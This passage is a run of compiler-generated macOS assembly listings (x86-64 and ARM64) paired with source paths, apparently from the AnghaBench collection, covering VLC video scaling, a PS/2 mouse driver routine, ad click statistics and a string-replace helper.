sp, sp, #2064 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #64 ; 16-byte Folded Reload ret LBB0_14: bl ___stack_chk_fail .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpLdrGot Lloh11, Lloh12 .loh AdrpLdrGot Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "uid" l_.str.1: ; @.str.1 .asciz "md5" .comm _VLC_EGENERIC,4,2 ; @VLC_EGENERIC l_.str.2: ; @.str.2 .asciz "arturl" l_.str.3: ; @.str.3 .asciz "rb" .comm _VLC_SUCCESS,4,2 ; @VLC_SUCCESS .subsections_via_symbols

AnghaBench/vlc/src/preparser/extr_art.c_input_FindArtInCacheUsingItemUID.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal4,4byte_literals .p2align 2, 0x0 ## -- Begin function transcode_video_scale_apply LCPI0_0: .long 0x3f800000 ## float 1 LCPI0_2: .space 4,1 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 LCPI0_1: .long 1 ## 0x1 .long 1 ## 0x1 .long 1 ## 0x1 .long 1 ## 0x1 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _transcode_video_scale_apply: ## @transcode_video_scale_apply .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r8, %rbx movl %ecx, -44(%rbp) ## 4-byte Spill movl %edx, -56(%rbp) ## 4-byte Spill movss %xmm0, -48(%rbp) ## 4-byte Spill movq %rsi, %r12 movq %rdi, %r14 movl (%rsi), %r15d testl %r15d, %r15d jne LBB0_2 ## %bb.1: movl 4(%r12), %r15d LBB0_2: movl 4(%r12), %eax movl 8(%r12), %ecx movl 12(%r12), %r13d xorps %xmm0, %xmm0 cvtsi2sd %r13, %xmm0 testl %ecx, %ecx ## kill: def $r13d killed $r13d killed $r13 def $r13 cmovnel %ecx, %r13d cvtsi2sdq 24(%r12), %xmm1 cvtsi2sd %rax, %xmm2 mulsd %xmm1, %xmm2 divsd 16(%r12), %xmm2 divsd %xmm0, %xmm2 xorps %xmm0, %xmm0 cvtsd2ss %xmm2, %xmm0 movss %xmm0, -64(%rbp) ## 4-byte Spill cvttss2si %xmm0, %rdx leaq L_.str(%rip), %rsi movq %r14, %rdi ## kill: def $edx killed $edx killed $rdx xorl %eax, %eax callq _msg_Dbg movq %r13, -80(%rbp) ## 8-byte Spill xorps %xmm0, %xmm0 cvtsi2ss %r13, %xmm0 movl %r15d, %eax xorps %xmm2, %xmm2 cvtsi2ss %rax, %xmm2 movss %xmm2, -60(%rbp) ## 4-byte Spill movss %xmm0, -52(%rbp) ## 4-byte Spill movss -64(%rbp), %xmm1 ## 4-byte Reload ## xmm1 = mem[0],zero,zero,zero mulss %xmm0, %xmm1 divss %xmm2, %xmm1 movss %xmm1, -64(%rbp) ## 4-byte Spill cvttss2si %xmm1, %rdx leaq L_.str.1(%rip), %rsi movq %r14, %rdi ## kill: def $edx killed $edx killed $rdx xorl %eax, %eax callq _msg_Dbg movss -60(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero movl (%rbx), %ecx movl 8(%rbx), %eax testl %ecx, %ecx je LBB0_5 ## %bb.3: xorps %xmm1, %xmm1 cvtsi2ss %ecx, %xmm1 divss %xmm0, %xmm1 testl %eax, %eax je LBB0_8 ## %bb.4: xorps %xmm2, %xmm2 cvtsi2ss %eax, %xmm2 jmp LBB0_7 LBB0_5: testl %eax, %eax setne %cl xorps %xmm0, %xmm0 movss -48(%rbp), %xmm1 ## 4-byte Reload ## xmm1 = mem[0],zero,zero,zero ucomiss %xmm0, %xmm1 setnp %dl sete %sil andb %dl, %sil orb %cl, %sil jne LBB0_9 ## %bb.6: movss -60(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero mulss %xmm0, %xmm1 cvttss2si %xmm1, %rax movl %eax, %ecx andl $-16, %ecx leal 16(%rcx), %edx testb $8, %al cmovnel %edx, %ecx cmpl $16, %eax cmovbl %edx, %ecx xorps %xmm1, %xmm1 cvtsi2ss %rcx, %xmm1 divss %xmm0, %xmm1 movss %xmm1, -48(%rbp) ## 4-byte Spill movaps %xmm1, %xmm0 mulss -52(%rbp), %xmm0 ## 4-byte Folded Reload cvttss2si %xmm0, %rsi movl $16, %edi ## kill: def $esi killed $esi killed $rsi callq ___MAX movss -48(%rbp), %xmm1 ## 4-byte Reload ## xmm1 = mem[0],zero,zero,zero movl %eax, %eax xorps %xmm2, %xmm2 cvtsi2ss %rax, %xmm2 LBB0_7: divss -52(%rbp), %xmm2 ## 4-byte Folded Reload jmp LBB0_13 LBB0_8: movaps %xmm1, %xmm2 jmp LBB0_13 LBB0_9: testl %eax, %eax je LBB0_11 ## %bb.10: xorps %xmm2, %xmm2 cvtsi2ss %eax, %xmm2 divss -52(%rbp), %xmm2 ## 4-byte Folded Reload jmp LBB0_12 LBB0_11: movss LCPI0_0(%rip), %xmm2 ## xmm2 = [1.0E+0,0.0E+0,0.0E+0,0.0E+0] LBB0_12: movaps %xmm2, %xmm1 LBB0_13: movl -44(%rbp), %ecx ## 4-byte Reload movl -56(%rbp), %eax ## 4-byte Reload testl %eax, %eax je LBB0_16 ## %bb.14: movl %eax, %eax xorps %xmm0, %xmm0 cvtsi2ss %rax, %xmm0 divss -60(%rbp), %xmm0 ## 4-byte Folded Reload ucomiss %xmm0, %xmm1 jbe LBB0_16 ## %bb.15: movaps %xmm0, %xmm1 LBB0_16: testl %ecx, %ecx movq %rbx, -88(%rbp) ## 8-byte Spill movl %r15d, -68(%rbp) ## 4-byte Spill je LBB0_19 ## %bb.17: movl %ecx, %eax xorps %xmm0, %xmm0 cvtsi2ss %rax, %xmm0 divss -52(%rbp), %xmm0 ## 4-byte Folded Reload ucomiss %xmm0, %xmm2 jbe LBB0_19 ## %bb.18: movaps %xmm0, %xmm2 LBB0_19: movss %xmm2, -44(%rbp) ## 4-byte Spill movss -64(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero mulss %xmm2, %xmm0 divss %xmm1, %xmm0 cvttss2si %xmm0, %rdx leaq L_.str.2(%rip), %rsi movq %r14, %rdi ## kill: def $edx killed $edx killed $rdx xorl %eax, %eax movss %xmm1, -48(%rbp) ## 4-byte Spill callq _msg_Dbg movss -60(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero mulss -48(%rbp), %xmm0 ## 4-byte Folded Reload callq _lroundf movl %eax, %ebx movss -52(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero mulss -44(%rbp), %xmm0 ## 4-byte Folded Reload callq _lroundf movl %eax, %r15d movl 4(%r12), %eax xorps %xmm0, %xmm0 cvtsi2ss %rax, %xmm0 mulss -48(%rbp), %xmm0 ## 4-byte Folded Reload callq _lroundf movq %r14, %r13 movl %eax, %r14d movl 12(%r12), %eax xorps %xmm0, %xmm0 cvtsi2ss %rax, %xmm0 mulss -44(%rbp), %xmm0 ## 4-byte Folded Reload callq _lroundf movd %ebx, %xmm0 pinsrd $1, %r14d, %xmm0 pinsrd $2, %r15d, %xmm0 pinsrd $3, %eax, %xmm0 pmovsxbd LCPI0_2(%rip), %xmm1 ## xmm1 = [1,1,1,1] pand %xmm0, %xmm1 paddd %xmm0, %xmm1 movq -88(%rbp), %rax ## 8-byte Reload movdqu %xmm1, (%rax) movd %xmm1, %r8d pextrd $2, %xmm1, %r9d leaq L_.str.3(%rip), %rsi movq %r13, %rdi movl -68(%rbp), %edx ## 4-byte Reload movq -80(%rbp), %rcx ## 8-byte Reload ## kill: def $ecx killed $ecx killed $rcx xorl %eax, %eax addq $56, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _msg_Dbg ## TAILCALL .cfi_endproc ## -- End function .section __DATA,__data .globl _g_aug_volatile_5544 ## @g_aug_volatile_5544 .p2align 2, 0x0 _g_aug_volatile_5544: .long 7 ## 0x7 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "decoder aspect is %f:1" L_.str.1: ## @.str.1 .asciz "source pixel aspect is %f:1" L_.str.2: ## @.str.2 .asciz "scaled pixel aspect is %f:1" L_.str.3: ## @.str.3 .asciz "source %ux%u, destination %ux%u" .no_dead_strip _transcode_video_scale_apply .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function transcode_video_scale_apply _transcode_video_scale_apply: ; @transcode_video_scale_apply .cfi_startproc ; %bb.0: sub sp, sp, #160 stp d13, d12, [sp, #32] ; 16-byte Folded Spill stp d11, d10, [sp, #48] ; 16-byte Folded Spill stp d9, d8, [sp, #64] ; 16-byte Folded Spill stp x26, x25, [sp, #80] ; 16-byte Folded Spill stp x24, x23, [sp, #96] ; 16-byte Folded Spill stp x22, x21, [sp, #112] ; 16-byte Folded Spill stp x20, x19, [sp, #128] ; 16-byte Folded Spill stp x29, x30, [sp, #144] ; 16-byte Folded Spill add x29, sp, #144 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset b8, -88 .cfi_offset b9, -96 .cfi_offset b10, -104 .cfi_offset b11, -112 .cfi_offset b12, -120 .cfi_offset b13, -128 mov x21, x4 mov x23, x3 mov x24, x2 fmov s8, s0 mov x22, x1 mov x19, x0 ldr w20, [x1] cbnz w20, LBB0_2 ; %bb.1: ldr w20, [x22, #4] LBB0_2: ldp d1, d0, [x22, #16] scvtf d0, d0 ldr s2, [x22, #4] ucvtf d2, d2 fmul d0, d0, d2 ldp w8, w9, [x22, #8] cmp w8, #0 csel w26, w9, w8, eq fdiv d0, d0, d1 ucvtf d1, w9 fdiv d0, d0, d1 fcvt s10, d0 fcvtzu w2, s10 Lloh0: adrp x1, l_.str@PAGE Lloh1: add x1, x1, l_.str@PAGEOFF mov x0, x19 bl _msg_Dbg ucvtf s9, w26 fmul s0, s9, s10 ucvtf s10, w20 fdiv s11, s0, s10 fcvtzu w2, s11 Lloh2: adrp x1, l_.str.1@PAGE Lloh3: add x1, x1, l_.str.1@PAGEOFF mov x0, x19 bl _msg_Dbg ldr w9, [x21] ldr w8, [x21, #8] cbz w9, LBB0_4 ; %bb.3: scvtf s0, w9 fdiv s8, s0, s10 scvtf s0, w8 fdiv s0, s0, s9 cmp w8, #0 fcsel s0, s8, s0, eq b LBB0_8 LBB0_4: fcmp s8, #0.0 b.eq LBB0_7 ; %bb.5: cbnz w8, LBB0_7 ; %bb.6: fmul s0, s10, s8 fcvtzu w8, s0 tst w8, #0x8 ccmp w8, #15, #0, eq and w8, w8, #0xfffffff0 add w9, w8, #16 csel w8, w8, w9, hi ucvtf s0, w8 fdiv s8, s0, s10 fmul s0, s8, s9 fcvtzu w1, s0 mov w0, #16 ; =0x10 bl ___MAX ucvtf s0, w0 fdiv s0, s0, s9 b LBB0_8 LBB0_7: fmov s1, #1.00000000 scvtf s0, w8 fdiv s2, s0, s9 cmp w8, #0 fcsel s0, s1, s2, eq fcsel s8, s1, s2, eq LBB0_8: ucvtf s1, w24 fdiv s1, s1, s10 fcmp s8, s1 fcsel s1, s8, s1, le cmp w24, #0 fcsel s8, s8, s1, eq ucvtf s1, w23 fdiv s1, s1, s9 fcmp s0, s1 fcsel s1, s0, s1, le cmp w23, #0 fcsel s12, s0, s1, eq fmul s0, s11, s12 fdiv s0, s0, s8 fcvtzu w2, s0 Lloh4: adrp x1, l_.str.2@PAGE Lloh5: add x1, x1, l_.str.2@PAGEOFF mov x0, x19 bl _msg_Dbg fmul s0, s8, s10 bl _lroundf mov x23, x0 fmul s0, s12, s9 bl _lroundf mov x24, x0 ldr s0, [x22, #4] ucvtf s0, s0 fmul s0, s8, s0 bl _lroundf mov x25, x0 ldr s0, [x22, #12] ucvtf s0, s0 fmul s0, s12, s0 bl _lroundf and w8, w23, #0x1 add w8, w8, w23 and w9, w24, #0x1 add w9, w9, w24 and w10, w25, #0x1 add w10, w10, w25 and w11, w0, #0x1 stp w8, w10, [x21] add w10, w11, w0 stp w9, w10, [x21, #8] stp x8, x9, [sp, #8] str x26, [sp] Lloh6: adrp x1, l_.str.3@PAGE Lloh7: add x1, x1, l_.str.3@PAGEOFF mov x0, x19 mov x2, x20 bl _msg_Dbg ldp x29, x30, [sp, #144] ; 16-byte Folded Reload ldp x20, x19, [sp, #128] ; 16-byte Folded Reload ldp x22, x21, [sp, #112] ; 16-byte Folded Reload ldp x24, x23, [sp, #96] ; 16-byte Folded Reload ldp x26, x25, [sp, #80] ; 16-byte Folded Reload ldp d9, d8, [sp, #64] ; 16-byte Folded Reload ldp d11, d10, [sp, #48] ; 16-byte Folded Reload ldp d13, d12, [sp, #32] ; 16-byte Folded Reload add sp, sp, #160 ret .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh4, Lloh5 .cfi_endproc ; -- End function .section __DATA,__data .globl _g_aug_volatile_5544 ; @g_aug_volatile_5544 .p2align 2, 0x0 _g_aug_volatile_5544: .long 7 ; 0x7 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "decoder aspect is %f:1" l_.str.1: ; @.str.1 .asciz "source pixel aspect is %f:1" l_.str.2: ; @.str.2 .asciz "scaled pixel aspect is %f:1" l_.str.3: ; @.str.3 .asciz "source %ux%u, destination %ux%u" .no_dead_strip _transcode_video_scale_apply .subsections_via_symbols

assembly_file_69073.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function lifebook_relative_mode _lifebook_relative_mode: ## @lifebook_relative_mode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movb $6, -1(%rbp) movq _PSMOUSE_CMD_SETRES@GOTPCREL(%rip), %rax movl (%rax), %edx leaq -1(%rbp), %rsi callq _ps2_command addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _PSMOUSE_CMD_SETRES,4,2 ## @PSMOUSE_CMD_SETRES .no_dead_strip _lifebook_relative_mode .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function lifebook_relative_mode _lifebook_relative_mode: ; @lifebook_relative_mode .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #6 sturb w8, [x29, #-1] Lloh0: adrp x8, _PSMOUSE_CMD_SETRES@GOTPAGE Lloh1: ldr x8, [x8, _PSMOUSE_CMD_SETRES@GOTPAGEOFF] Lloh2: ldr w2, [x8] sub x1, x29, #1 bl _ps2_command ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _PSMOUSE_CMD_SETRES,4,2 ; @PSMOUSE_CMD_SETRES .no_dead_strip _lifebook_relative_mode .subsections_via_symbols

AnghaBench/fastsocket/kernel/drivers/input/mouse/extr_lifebook.c_lifebook_relative_mode.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function set_global_click_stats _set_global_click_stats: ## @set_global_click_stats .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r13 movl (%rdi), %eax movq _MAX_AD_VIEWS@GOTPCREL(%rip), %rbx xorl %edi, %edi cmpl (%rbx), %eax sete %dil callq _assert cmpl $0, (%rbx) jle LBB0_1 ## %bb.2: movabsq $1000000000000001, %r14 ## imm = 0x38D7EA4C68001 movq 8(%r13), %rcx movq (%rcx), %rax testq %rax, %rax js LBB0_3 ## %bb.4: movq 8(%rcx), %rcx testq %rcx, %rcx setns %dl cmpq %rax, %rcx setle %cl andb %dl, %cl cmpq %r14, %rax setb %al andb %cl, %al movzbl %al, %edi jmp LBB0_5 LBB0_3: xorl %edi, %edi LBB0_5: callq _assert movq _MAX_AD_VIEWS@GOTPCREL(%rip), %rax cmpl $2, (%rax) jl LBB0_1 ## %bb.6: movl $1, %r15d movl $24, %r12d xorl %ebx, %ebx leaq -1(%r14), %rax movq %rax, -48(%rbp) ## 8-byte Spill xorl %r14d, %r14d jmp LBB0_7 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_7 Depth=1 movq (%rcx,%r12), %rcx testq %rcx, %rcx sets %dl cmpq %rax, %rcx setg %cl orb %dl, %cl cmpq -48(%rbp), %rax ## 8-byte Folded Reload seta %al orb %cl, %al LBB0_10: ## in Loop: Header=BB0_7 Depth=1 xorb $1, %al movzbl %al, %edi callq _assert movq 8(%r13), %rax addq -8(%rax,%r12), %r14 addq (%rax,%r12), %rbx xorl %edi, %edi movabsq $1000000000000001, %rax ## imm = 0x38D7EA4C68001 cmpq %rax, %r14 setl %dil callq _assert incq %r15 movq _MAX_AD_VIEWS@GOTPCREL(%rip), %rax movslq (%rax), %rax addq $16, %r12 cmpq %rax, %r15 jge LBB0_11 LBB0_7: ## =>This Inner Loop Header: Depth=1 movq 8(%r13), %rcx movq -8(%rcx,%r12), %rax testq %rax, %rax jns LBB0_9 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movb $1, %al jmp LBB0_10 LBB0_1: xorl %r14d, %r14d xorl %ebx, %ebx LBB0_11: movq 8(%r13), %rax cmpq (%rax), %r14 movl $0, %edi jne LBB0_13 ## %bb.12: xorl %edi, %edi cmpq 8(%rax), %rbx sete %dil LBB0_13: ## kill: def $edi killed $edi killed $rdi callq _assert movq _AdStats@GOTPCREL(%rip), %rax movl (%rax), %edi movq 8(%r13), %rsi movq _MAX_AD_VIEWS@GOTPCREL(%rip), %rax movl (%rax), %edx shll $4, %edx callq _memcpy movl $1, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _MAX_AD_VIEWS,4,2 ## @MAX_AD_VIEWS .comm _AdStats,4,2 ## @AdStats .no_dead_strip _set_global_click_stats .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function set_global_click_stats _set_global_click_stats: ; @set_global_click_stats .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x0 ldr w8, [x0] Lloh0: adrp x20, _MAX_AD_VIEWS@GOTPAGE Lloh1: ldr x20, [x20, _MAX_AD_VIEWS@GOTPAGEOFF] ldr w9, [x20] cmp w8, w9 cset w0, eq bl _assert ldr w8, [x20] cmp w8, #1 b.lt LBB0_10 ; %bb.1: mov x21, #32769 movk x21, #42182, lsl #16 movk x21, #36222, lsl #32 movk x21, #3, lsl #48 ldr x9, [x19, #8] ldr x8, [x9] tbnz x8, #63, LBB0_3 ; %bb.2: ldr x9, [x9, #8] cmp x9, #0 ccmp x9, x8, #0, ge ccmp x8, x21, #2, le cset w0, lo b LBB0_4 LBB0_3: mov w0, #0 LBB0_4: bl _assert ldr w8, [x20] cmp w8, #2 b.lt LBB0_10 ; %bb.5: mov x24, #0 mov x22, #0 mov x23, #0 mov w25, #1 sub x26, x21, #1 b LBB0_8 LBB0_6: ; in Loop: Header=BB0_8 Depth=1 ldr x9, [x9, #24] cmp x9, #0 ccmp x9, x8, #0, ge ccmp x8, x26, #2, le cset w8, hi LBB0_7: ; in Loop: Header=BB0_8 Depth=1 eor w0, w8, #0x1 bl _assert ldr x8, [x19, #8] add x8, x8, x24 ldp x9, x8, [x8, #16] add x22, x8, x22 add x23, x9, x23 cmp x23, x21 cset w0, lt bl _assert add x25, x25, #1 ldrsw x8, [x20] add x24, x24, #16 cmp x25, x8 b.ge LBB0_11 LBB0_8: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #8] add x9, x8, x24 ldr x8, [x9, #16] tbz x8, #63, LBB0_6 ; %bb.9: ; in Loop: Header=BB0_8 Depth=1 mov w8, #1 b LBB0_7 LBB0_10: mov x23, #0 mov x22, #0 LBB0_11: ldr x8, [x19, #8] ldr x9, [x8] cmp x23, x9 b.ne LBB0_13 ; %bb.12: ldr x8, [x8, #8] cmp x22, x8 cset w0, eq b LBB0_14 LBB0_13: mov w0, #0 LBB0_14: bl _assert Lloh2: adrp x8, _AdStats@GOTPAGE Lloh3: ldr x8, [x8, _AdStats@GOTPAGEOFF] Lloh4: ldr w0, [x8] ldr x1, [x19, #8] ldr w8, [x20] lsl w2, w8, #4 bl _memcpy mov w0, #1 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _MAX_AD_VIEWS,4,2 ; @MAX_AD_VIEWS .comm _AdStats,4,2 ; @AdStats .no_dead_strip _set_global_click_stats .subsections_via_symbols

AnghaBench/kphp-kdb/targ/extr_targ-data.c_set_global_click_stats.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _dstr_replace ## -- Begin function dstr_replace .p2align 4, 0x90 _dstr_replace: ## @dstr_replace .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %r12 movq %rdi, %r13 callq _dstr_is_empty testq %rax, %rax je LBB0_1 LBB0_24: addq $56, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_1: testq %r14, %r14 leaq L_.str(%rip), %rbx cmovneq %r14, %rbx movq %r12, %rdi callq _strlen movq %rax, %r14 movq %rbx, -48(%rbp) ## 8-byte Spill movq %rbx, %rdi callq _strlen movq %rax, %r15 movq (%r13), %rdi subq %r14, %rax movq %rax, -88(%rbp) ## 8-byte Spill movq %r13, %rbx movq %r12, %rsi jae LBB0_11 ## %bb.2: callq _strstr testq %rax, %rax je LBB0_24 ## %bb.3: movq %rax, %r13 movq %rbx, -64(%rbp) ## 8-byte Spill movq %r15, -56(%rbp) ## 8-byte Spill movq %r12, -80(%rbp) ## 8-byte Spill negq %r14 xorl %ebx, %ebx xorl %r12d, %r12d movq %r14, -72(%rbp) ## 8-byte Spill jmp LBB0_4 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_4 Depth=1 movq %r13, %rdi movq -48(%rbp), %rsi ## 8-byte Reload callq _strcpy movq -56(%rbp), %r15 ## 8-byte Reload LBB0_8: ## in Loop: Header=BB0_4 Depth=1 addq %r15, %r13 movq %r13, %rdi movq -80(%rbp), %rsi ## 8-byte Reload callq _strstr movq %rax, %r13 incq %r12 addq -88(%rbp), %rbx ## 8-byte Folded Reload testq %rax, %rax movq -72(%rbp), %r14 ## 8-byte Reload je LBB0_9 LBB0_4: ## =>This Inner Loop Header: Depth=1 addq %r13, %r14 movq %r14, %rdi callq _strlen testq %rax, %rax je LBB0_7 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movq -56(%rbp), %r15 ## 8-byte Reload leaq (%r15,%r13), %rdi incq %rax movq %r14, %rsi movq %rax, %rdx callq _memmove testq %r15, %r15 je LBB0_8 ## %bb.6: ## in Loop: Header=BB0_4 Depth=1 movq %r13, %rdi movq -48(%rbp), %rsi ## 8-byte Reload movq %r15, %rdx callq _memcpy jmp LBB0_8 LBB0_11: callq _strstr cmpq %r14, %r15 jbe LBB0_12 ## %bb.14: testq %rax, %rax je LBB0_24 ## %bb.15: movq %rbx, -64(%rbp) ## 8-byte Spill movq %r15, %rcx movq %r14, %r15 movq %rcx, -56(%rbp) ## 8-byte Spill subq %rcx, %r14 xorl %ebx, %ebx movq %r12, %r13 xorl %r12d, %r12d .p2align 4, 0x90 LBB0_16: ## =>This Inner Loop Header: Depth=1 addq %r14, %rbx addq %r15, %rax movq %rax, %rdi movq %r13, %rsi callq _strstr decq %r12 testq %rax, %rax jne LBB0_16 ## %bb.17: testq %r12, %r12 movq %r13, %r12 movq %r15, %r14 movq -64(%rbp), %r13 ## 8-byte Reload movq -56(%rbp), %r15 ## 8-byte Reload je LBB0_24 ## %bb.18: movq 8(%r13), %rsi subq %rbx, %rsi movq %rsi, 8(%r13) incq %rsi movq %r13, %rdi callq _dstr_ensure_capacity movq (%r13), %rdi movq %r12, %rsi callq _strstr testq %rax, %rax je LBB0_24 ## %bb.19: movq %rax, %r13 jmp LBB0_20 .p2align 4, 0x90 LBB0_12: ## =>This Inner Loop Header: Depth=1 testq %rax, %rax je LBB0_24 ## %bb.13: ## in Loop: Header=BB0_12 Depth=1 movq %rax, %rdi movq -48(%rbp), %rsi ## 8-byte Reload movq %r15, %rdx movq %rax, %r14 callq _memcpy addq %r15, %r14 movq %r14, %rdi movq %r12, %rsi callq _strstr jmp LBB0_12 .p2align 4, 0x90 LBB0_22: ## in Loop: Header=BB0_20 Depth=1 movq %r13, %rdi movq -48(%rbp), %rsi ## 8-byte Reload callq _strcpy LBB0_23: ## in Loop: Header=BB0_20 Depth=1 addq %r15, %r13 movq %r13, %rdi movq %r12, %rsi callq _strstr movq %rax, %r13 testq %rax, %rax movq %rbx, %r14 je LBB0_24 LBB0_20: ## =>This Inner Loop Header: Depth=1 movq %r14, %rbx addq %r13, %r14 movq %r14, %rdi callq _strlen testq %rax, %rax je LBB0_22 ## %bb.21: ## in Loop: Header=BB0_20 Depth=1 leaq (%r15,%r13), %rdi incq %rax movq %r14, %rsi movq %rax, %rdx callq _memmove movq %r13, %rdi movq -48(%rbp), %rsi ## 8-byte Reload movq %r15, %rdx callq _memcpy jmp LBB0_23 LBB0_9: testq %r12, %r12 movq -64(%rbp), %rax ## 8-byte Reload je LBB0_24 ## %bb.10: subq %rbx, 8(%rax) jmp LBB0_24 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .space 1 .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _dstr_replace ; -- Begin function dstr_replace .p2align 2 _dstr_replace: ; @dstr_replace .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x2 mov x19, x1 mov x22, x0 bl _dstr_is_empty cbz x0, LBB0_2 LBB0_1: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 